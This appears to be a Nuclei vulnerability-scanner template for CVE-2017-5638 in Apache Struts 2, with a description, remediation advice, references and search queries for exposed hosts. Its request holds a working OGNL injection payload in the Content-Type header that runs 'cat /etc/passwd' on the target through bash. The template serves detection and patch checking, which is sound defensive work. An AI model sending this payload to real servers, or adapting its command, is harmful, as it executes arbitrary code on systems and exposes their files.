id: CVE-2017-5638 info: name: Apache Struts 2 - Remote Command Execution author: Random_Robbie severity: critical description: | Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string. impact: | Remote attackers can execute arbitrary commands on the target system. remediation: | Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches. reference: - https://github.com/mazen160/struts-pwn - https://isc.sans.edu/diary/22169 - https://github.com/rapid7/metasploit-framework/issues/8064 - https://nvd.nist.gov/vuln/detail/CVE-2017-5638 - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2017-5638 cwe-id: CWE-20 epss-score: 0.97542 epss-percentile: 0.99995 cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: struts shodan-query: - html:"Apache Struts" - http.title:"struts2 showcase" - http.html:"struts problem report" - http.html:"apache struts" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve2017,cve,apache,kev,msf,struts,rce http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Content-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())} matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100abf34bde000320ae4e9c1d41b55199b292cda0a25e76520dbbd0fb79fdc188c5022100b6cb3b2918088f18956ef2d5bef585397d1d187a42df64a8f428694357252bb6:922c64590222798bb761d5b6d8e72950